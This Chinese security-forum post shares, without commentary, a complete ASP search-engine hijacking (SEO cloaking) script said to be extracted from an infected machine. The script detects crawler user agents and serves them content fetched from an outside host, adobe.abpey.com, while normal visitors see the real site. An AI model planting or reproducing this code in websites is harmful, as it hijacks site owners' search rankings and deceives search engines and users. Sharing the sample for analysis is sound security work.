请选择 进入手机版 | 继续访问电脑版
 找回密码
 注册

QQ登录

只需一步,快速开始

青云安全服务中心

搜索
查看: 4156|回复: 0

一段刚从用户机器提取的搜索引擎劫持的代码!

[复制链接]
发表于 2013-4-15 11:55:02 | 显示全部楼层 |阅读模式
  1. <%
  2. Function IsWebSearch()
  3.   IsWebSearch = False
  4.   Dim Botlist,i
  5.   BotList = "Google,Isaac,SurveyBot,yahoo,Baiduspider,yisou,3721,ia_archiver,P.Arthur,FAST-WebCrawler,Java,Microsoft-ATL-Native,TurnitinBot,WebGather,Sleipnir"
  6.   Botlist = Split(Botlist,",")
  7.   For i = 0 To Ubound(Botlist)
  8.    If InStr(Lcase(Request.ServerVariables("HTTP_USER_AGENT")),Lcase(Botlist(i))) > 0 Then
  9.     IsWebSearch = True
  10.     Exit For
  11.    End If
  12.   Next
  13. End Function
  14. if IsWebSearch=true then

  15. ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME"))
  16. host = request.ServerVariables("HTTP_HOST")
  17. U=Request.QueryString
  18. if U<>"" then

  19.         GetUrl =Request.ServerVariables("Server_Name")&ScriptAddress&"?"&U

  20. else
  21.         GetUrl= Request.ServerVariables("Server_Name")&ScriptAddress
  22. end if   
  23. GetUrl=replace(replace(geturl,"/",""),"?","")


  24. httpuser=LCase(request.servervariables("http_user_agent"))
  25.         if  instr(httpuser,"google")>0 or instr(httpuser,"soso")>0 or instr(httpuser,"yahoo")>0 or instr(httpuser,"youdao")>0 or instr(httpuser,"sogou")>0 then
  26. url="http://adobe.abpey.com/lastp.php?A="&GetUrl&"&B="&host
  27.         elseif  instr(httpuser,"baidu")>0 then
  28. url="http://adobe.abpey.com/lastp.php?A="&Server.URLEncode(GetUrl)&"&B="&host

  29. end if
  30. Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
  31. ObjXMLHTTP.Open "GET",url,False
  32. ObjXMLHTTP.setRequestHeader "User-Agent",url
  33. ObjXMLHTTP.send
  34. GetHtml=ObjXMLHTTP.responseBody
  35. Set ObjXMLHTTP=Nothing
  36. set objStream = Server.CreateObject("Adodb.Stream")
  37. objStream.Type = 1
  38. objStream.Mode =3
  39. objStream.Open
  40. objStream.Write GetHtml
  41. objStream.Position = 0
  42. objStream.Type = 2
  43. objStream.Charset = "gb2312"
  44. GetHtml = objStream.ReadText
  45. GetHtml = Replace(GetHtml,"href='","href='?")
  46. objStream.Close
  47. response.write GetHtml
  48. end if
  49. 'else
  50. 'response.write Replace(Request.ServerVariables("server_name"),"www.","")
  51. 'end if%>
复制代码
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2003-2019 yunsafe.com All Rights Reserved 青云安全 法律顾问:王志刚 ( 豫ICP备19043409号 )

中国 · 郑州 · 中原区 · 万达广场      服务热线:0371-67770077

QQ

 
QQ在线咨询
在线咨询QQ
285584、2998872
售前咨询热线
0371-67770077
快速回复 返回顶部 返回列表